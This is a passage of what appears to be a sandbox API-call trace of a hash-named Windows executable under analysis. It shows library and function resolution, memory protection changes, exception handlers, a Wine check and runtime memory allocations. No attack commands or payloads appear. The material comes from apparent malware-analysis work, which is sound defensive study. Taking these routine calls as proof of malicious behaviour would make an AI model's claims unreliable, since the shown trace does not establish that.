lpProcName="AreFileApisANSI") returned 0x776ac9b0 [0091.854] GetProcAddress (hModule=0x77660000, lpProcName="CloseHandle") returned 0x77681960 [0091.854] GetProcAddress (hModule=0x77660000, lpProcName="CreateEventA") returned 0x776705c0 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateFileA") returned 0x77681bd0 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateFileMappingA") returned 0x7766df70 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateFileMappingW") returned 0x7766ee90 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateFileW") returned 0x77670d10 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateIoCompletionPort") returned 0x77664f80 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateMutexA") returned 0x776766b0 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateMutexW") returned 0x77670860 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateSemaphoreA") returned 0x7766e020 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateThread") returned 0x77675a20 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateWaitableTimerA") returned 0x776c0e90 [0091.855] GetProcAddress (hModule=0x77660000, lpProcName="CreateWaitableTimerExW") returned 0x776ac880 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="DeleteAtom") returned 0x776c6a00 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="DeleteCriticalSection") returned 0x778a5350 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="DeleteFileA") returned 0x77670980 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="DeleteFileW") returned 0x7766a230 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="DuplicateHandle") returned 0x776751b0 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="EnterCriticalSection") returned 0x778d2fc0 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="ExitProcess") returned 0x778a40f0 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="FindAtomA") returned 0x77663650 [0091.856] GetProcAddress (hModule=0x77660000, lpProcName="FlushFileBuffers") returned 0x776660d0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="FlushViewOfFile") returned 0x776ac670 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="FormatMessageA") returned 0x776ac610 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="FormatMessageW") returned 0x77672ce0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="FreeEnvironmentStringsW") returned 0x776761a0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="FreeLibrary") returned 0x77675ac0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="GetAtomNameA") returned 0x776c69d0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="GetConsoleMode") returned 0x77681840 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="GetCurrentProcess") returned 0x77675190 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="GetCurrentProcessId") returned 0x77674ef0 [0091.857] GetProcAddress (hModule=0x77660000, lpProcName="GetCurrentThread") returned 0x776733c0 [0091.858] GetProcAddress (hModule=0x77660000, lpProcName="GetCurrentThreadId") returned 0x77673380 [0091.858] GetProcAddress (hModule=0x77660000, lpProcName="GetDiskFreeSpaceA") returned 0x776ac520 [0091.858] GetProcAddress (hModule=0x77660000, lpProcName="GetDiskFreeSpaceW") returned 0x776ac4f0 [0091.858] GetProcAddress (hModule=0x77660000, lpProcName="GetEnvironmentStringsW") returned 0x776761c0 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFileAttributesA") returned 0x77670880 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFileAttributesExW") returned 0x7766ac40 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFileAttributesW") returned 0x7767b200 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFileSize") returned 0x7766ee70 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFullPathNameA") returned 0x77682050 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetFullPathNameW") returned 0x77676b80 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetHandleInformation") returned 0x776d3060 [0091.860] GetProcAddress (hModule=0x77660000, lpProcName="GetLastError") returned 0x776817b0 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetProcAddress") returned 0x77682070 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetProcessAffinityMask") returned 0x77662970 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetProcessHeap") returned 0x77681a30 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetQueuedCompletionStatusEx") returned 0x776ac430 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetStartupInfoA") returned 0x77680940 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetStdHandle") returned 0x7767cb80 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemDirectoryA") returned 0x77678900 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemInfo") returned 0x77676410 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemTime") returned 0x77681f20 [0091.861] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemTimeAsFileTime") returned 0x776733e0 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetTempPathA") returned 0x776c2110 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetTempPathW") returned 0x776c20f0 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetThreadContext") returned 0x77662a40 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetThreadPriority") returned 0x77678bf0 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetTickCount") returned 0x77681500 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetVersionExA") returned 0x77676560 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="GetVersionExW") returned 0x7766cdb0 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="HeapAlloc") returned 0x778d33a0 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="HeapCompact") returned 0x776ac380 [0091.862] GetProcAddress (hModule=0x77660000, lpProcName="HeapCreate") returned 0x77676580 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="HeapDestroy") returned 0x77670930 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="HeapFree") returned 0x77681a50 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="HeapReAlloc") returned 0x778b3f20 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="HeapSize") returned 0x778a82d0 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="HeapValidate") returned 0x77670580 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="InitializeCriticalSection") returned 0x778a8100 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="IsDBCSLeadByteEx") returned 0x77662950 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="IsDebuggerPresent") returned 0x77667900 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="LeaveCriticalSection") returned 0x778d3000 [0091.863] GetProcAddress (hModule=0x77660000, lpProcName="LoadLibraryA") returned 0x77676510 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="LoadLibraryW") returned 0x77676420 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="LocalFree") returned 0x77673c40 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="LockFile") returned 0x776ac2b0 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="LockFileEx") returned 0x776ac280 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="MapViewOfFile") returned 0x7766d830 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="MultiByteToWideChar") returned 0x77674ff0 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="OpenProcess") returned 0x7767bf00 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="OutputDebugStringA") returned 0x776648d0 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="OutputDebugStringW") returned 0x7766ac00 [0091.864] GetProcAddress (hModule=0x77660000, lpProcName="PostQueuedCompletionStatus") returned 0x776699a0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="QueryPerformanceCounter") returned 0x776759a0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="QueryPerformanceFrequency") returned 0x7766e0d0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="RaiseException") returned 0x7766c3b0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="ReadFile") returned 0x776709a0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="ReleaseMutex") returned 0x77681590 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="ReleaseSemaphore") returned 0x77678c10 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="RemoveVectoredExceptionHandler") returned 0x7794c2d0 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="ResetEvent") returned 0x7766ce40 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="ResumeThread") returned 0x77670840 [0091.865] GetProcAddress (hModule=0x77660000, lpProcName="SetConsoleCtrlHandler") returned 0x776763a0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetEndOfFile") returned 0x776ac150 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetErrorMode") returned 0x7767b1f0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetEvent") returned 0x776733a0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetFilePointer") returned 0x776705f0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetLastError") returned 0x776817d0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetProcessAffinityMask") returned 0x776acc80 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetProcessPriorityBoost") returned 0x776acc30 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetThreadContext") returned 0x77662a10 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetThreadPriority") returned 0x7767cdc0 [0091.866] GetProcAddress (hModule=0x77660000, lpProcName="SetUnhandledExceptionFilter") returned 0x77679020 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="SetWaitableTimer") returned 0x77667f00 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="Sleep") returned 0x77681570 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="SuspendThread") returned 0x77662a60 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="SwitchToThread") returned 0x7766ab60 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="SystemTimeToFileTime") returned 0x77681f40 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="TlsAlloc") returned 0x776765a0 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="TlsGetValue") returned 0x776815d0 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="TlsSetValue") returned 0x77675170 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="TryEnterCriticalSection") returned 0x778a5320 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="UnlockFile") returned 0x776ac010 [0091.867] GetProcAddress (hModule=0x77660000, lpProcName="UnlockFileEx") returned 0x776abff0 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="UnmapViewOfFile") returned 0x77681f60 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="VirtualAlloc") returned 0x77675c40 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="VirtualFree") returned 0x77670700 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="VirtualProtect") returned 0x776629f0 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="VirtualQuery") returned 0x7767b170 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WaitForMultipleObjects") returned 0x77670610 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WaitForSingleObject") returned 0x77681520 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WaitForSingleObjectEx") returned 0x776819d0 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WideCharToMultiByte") returned 0x77681fd0 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WriteConsoleW") returned 0x776731e0 [0091.868] GetProcAddress (hModule=0x77660000, lpProcName="WriteFile") returned 0x77681f80 [0091.869] GetProcAddress (hModule=0x77660000, lpProcName="__C_specific_handler") returned 0x7789850c [0091.869] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x7feff7d0000 [0091.869] GetProcAddress (hModule=0x7feff7d0000, lpProcName="___lc_codepage_func") returned 0x7feff7d4c50 [0091.869] GetProcAddress (hModule=0x7feff7d0000, lpProcName="___mb_cur_max_func") returned 0x7feff810f90 [0091.869] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__getmainargs") returned 0x7feff7db1b0 [0091.869] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__initenv") returned 0x7feff861188 [0091.869] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__iob_func") returned 0x7feff7e2d90 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__lconv_init") returned 0x7feff811ba8 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__set_app_type") returned 0x7feff7db088 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="__setusermatherr") returned 0x7feff83da94 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_acmdln") returned 0x7feff8610b0 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_amsg_exit") returned 0x7feff81c260 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_beginthread") returned 0x7feff81c430 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_beginthreadex") returned 0x7feff7d7328 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_cexit") returned 0x7feff7e4640 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_commode") returned 0x7feff861280 [0091.870] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_endthreadex") returned 0x7feff7d4334 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_errno") returned 0x7feff7d1918 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_fmode") returned 0x7feff86127c [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_initterm") returned 0x7feff7d44f0 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_localtime64") returned 0x7feff7d5ee0 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_lock") returned 0x7feff7d1530 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_memccpy") returned 0x7feff83610c [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_onexit") returned 0x7feff7e4f58 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_setjmp") returned 0x7feff7d3f50 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_strdup") returned 0x7feff7e44d0 [0091.871] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_ultoa") returned 0x7feff7d6678 [0091.872] GetProcAddress (hModule=0x7feff7d0000, lpProcName="_unlock") returned 0x7feff7d1510 [0091.872] GetProcAddress (hModule=0x7feff7d0000, lpProcName="abort") returned 0x7feff8155bc [0091.872] GetProcAddress (hModule=0x7feff7d0000, lpProcName="calloc") returned 0x7feff7d1c94 [0091.872] GetProcAddress (hModule=0x7feff7d0000, lpProcName="exit") returned 0x7feff7d99f4 [0091.872] GetProcAddress (hModule=0x7feff7d0000, lpProcName="fprintf") returned 0x7feff7d90fc [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="fputc") returned 0x7feff82c3fc [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="free") returned 0x7feff7d10a8 [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="fwrite") returned 0x7feff7e4180 [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="localeconv") returned 0x7feff815a0c [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="longjmp") returned 0x7feff7de4e0 [0091.875] GetProcAddress (hModule=0x7feff7d0000, lpProcName="malloc") returned 0x7feff7d12dc [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="memcmp") returned 0x7feff7d1270 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="memcpy") returned 0x7feff7d10e0 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="memmove") returned 0x7feff7d10e0 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="memset") returned 0x7feff7d1000 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="printf") returned 0x7feff7d7e28 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="qsort") returned 0x7feff7d6f20 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="realloc") returned 0x7feff7d4860 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="signal") returned 0x7feff81167c [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strcmp") returned 0x7feff7e5ac0 [0091.876] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strcspn") returned 0x7feff7d5c50 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strerror") returned 0x7feff816094 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strlen") returned 0x7feff7e5b70 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strncmp") returned 0x7feff7d1710 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strrchr") returned 0x7feff7d95b0 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="strspn") returned 0x7feff837a80 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="vfprintf") returned 0x7feff82a514 [0091.877] GetProcAddress (hModule=0x7feff7d0000, lpProcName="wcslen") returned 0x7feff837d0c [0091.878] VirtualProtect (in: lpAddress=0x13f6f0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x28fdd0 | out: lpflOldProtect=0x28fdd0*=0x2) returned 1 [0093.488] VirtualProtect (in: lpAddress=0x13f6f0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x28fdd0 | out: lpflOldProtect=0x28fdd0*=0x4) returned 1 [0093.615] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x13fe7f7e0) returned 0x2a4c80 [0095.482] __set_app_type (_Type=0x1) [0095.482] __getmainargs (in: _Argc=0x1402ce038, _Argv=0x1402ce030, _Env=0x1402ce028, _DoWildCard=-1, _StartInfo=0x1402ce018 | out: _Argc=0x1402ce038, _Argv=0x1402ce030, _Env=0x1402ce028) returned 0 [0095.485] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13fe7ec30) returned 0x0 [0097.108] malloc (_Size=0x10) returned 0x4a5e80 [0097.108] strlen (_Str="C:\\Users\\kEecfMwgj\\Desktop\\83741e7578d11053fd5cbbf15ed253b3.exe") returned 0x3f [0097.108] malloc (_Size=0x40) returned 0x4a5ec0 [0097.108] memcpy (in: _Dst=0x4a5ec0, _Src=0x4bdbd1, _Size=0x40 | out: _Dst=0x4a5ec0) returned 0x4a5ec0 [0097.109] _onexit (_Func=0x13f6f1530) returned 0x13f6f1530 [0097.338] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77660000 [0097.363] GetProcAddress (hModule=0x77660000, lpProcName="AddDllDirectory") returned 0x7fefd945478 [0097.363] GetProcAddress (hModule=0x77660000, lpProcName="AddVectoredContinueHandler") returned 0x77963ae0 [0097.363] GetProcAddress (hModule=0x77660000, lpProcName="LoadLibraryExA") returned 0x7766d850 [0097.363] GetProcAddress (hModule=0x77660000, lpProcName="LoadLibraryExW") returned 0x77675ae0 [0097.363] GetSystemDirectoryA (in: lpBuffer=0x1403288e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0097.364] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feff870000 [0098.937] GetProcAddress (hModule=0x7feff870000, lpProcName="SystemFunction036") returned 0x7feff871044 [0098.938] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x77880000 [0098.939] GetProcAddress (hModule=0x77880000, lpProcName="NtWaitForSingleObject") returned 0x778d1350 [0098.939] GetProcAddress (hModule=0x77880000, lpProcName="RtlGetCurrentPeb") returned 0x779305f0 [0098.939] GetProcAddress (hModule=0x77880000, lpProcName="RtlGetNtVersionNumbers") returned 0x778c5160 [0098.939] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7fef9280000 [0099.088] GetProcAddress (hModule=0x7fef9280000, lpProcName="timeBeginPeriod") returned 0x7fef928a648 [0099.088] GetProcAddress (hModule=0x7fef9280000, lpProcName="timeEndPeriod") returned 0x7fef928a768 [0099.088] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feffa10000 [0099.097] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSAGetOverlappedResult") returned 0x7feffa37a50 [0099.097] GetProcAddress (hModule=0x77880000, lpProcName="wine_get_version") returned 0x0 [0099.125] SetErrorMode (uMode=0x2) returned 0x0 [0100.710] SetErrorMode (uMode=0x8003) returned 0x2 [0100.711] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x13f74dd60) returned 0x2b9840 [0100.711] RtlAddVectoredContinueHandler () returned 0x2b9870 [0100.711] RtlAddVectoredContinueHandler () returned 0x2b98a0 [0100.739] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x0 [0100.740] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0100.743] RtlGetNtVersionNumbers () returned 0x778c5160 [0100.744] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x28fbe0, lpSystemAffinityMask=0x28fbd8 | out: lpProcessAffinityMask=0x28fbe0, lpSystemAffinityMask=0x28fbd8) returned 1 [0102.344] GetSystemInfo (in: lpSystemInfo=0x28fc50 | out: lpSystemInfo=0x28fc50*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0102.344] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1 [0102.709] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x410000 [0104.186] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x70000 [0104.187] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1e30000 [0104.187] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x1f30000 [0104.188] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x2730000 [0104.192] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x6730000 [0104.221] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x26730000 [0104.325] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000 [0104.327] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x26f30000 [0104.329] VirtualAlloc (lpAddress=0x0, dwSize=0x114d0, flAllocationType=0x3000, flProtect=0x4) returned 0x450000 [0104.370] VirtualAlloc (lpAddress=0x70000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x70000 [0104.372] VirtualAlloc (lpAddress=0x1eb0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eb0000 [0104.372] VirtualAlloc (lpAddress=0x2336000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2336000 [0104.373] VirtualAlloc (lpAddress=0x4760000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4760000 [0104.374] VirtualAlloc (lpAddress=0x168b0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x168b0000 [0104.374] VirtualAlloc (lpAddress=0x26730000, dwSize=0x407000, flAllocationType=0x1000, flProtect=0x4) returned 0x26730000 [0104.413] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x27730000 [0104.437] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x290000 [0104.466] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x470000 [0104.467] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000 [0104.578] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000 [0104.578] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000 [0104.608] SystemFunction036 (in: RandomBuffer=0x1403281a0, RandomBufferLength=0x80 | out: RandomBuffer=0x1403281a0) returned 1 [0104.652] SystemFunction036 (in: RandomBuffer=0x1403277c8, RandomBufferLength=0x8 | out: RandomBuffer=0x1403277c8) returned 1 [0104.653] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000 [0104.680] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000 [0104.680] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000 [0104.763] GetEnvironmentStringsW () returned 0x2be670* [0104.764] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000 [0104.818] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000 [0104.819] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000 [0104.819] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000 [0104.820] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000 [0104.821] VirtualAlloc (lpAddress=0xc000016000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000 [0104.821] VirtualAlloc (lpAddress=0xc000018000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000018000 [0104.822] VirtualAlloc (lpAddress=0xc00001a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001a000 [0104.822] VirtualAlloc (lpAddress=0xc00001c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001c000 [0104.823] FreeEnvironmentStringsW (penv=0x2be670) returned 1 [0104.878] VirtualAlloc (lpAddress=0xc00001e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001e000 [0104.932] VirtualAlloc (lpAddress=0xc000020000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000020000 [0104.975] SetConsoleCtrlHandler (HandlerRoutine=0x13f74fac0, Add=1) returned 1 [0104.975] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7fefb770000 [0105.505] GetProcAddress (hModule=0x7fefb770000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x0 [0106.254] VirtualAlloc (lpAddress=0xc000022000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000022000 [0106.309] VirtualAlloc (lpAddress=0xc000024000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000 [0106.449] VirtualAlloc (lpAddress=0xc000032000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000032000 [0106.476] VirtualAlloc (lpAddress=0xc000034000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000034000 [0106.613] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x28fbd8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x28fbd8*=0x8c) returned 1 [0106.613] VirtualQuery (in: lpAddress=0x28fbe0, lpBuffer=0x28fbe0, dwLength=0x30 | out: lpBuffer=0x28fbe0*(BaseAddress=0x28f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0106.667] VirtualAlloc (lpAddress=0xc00003c000, 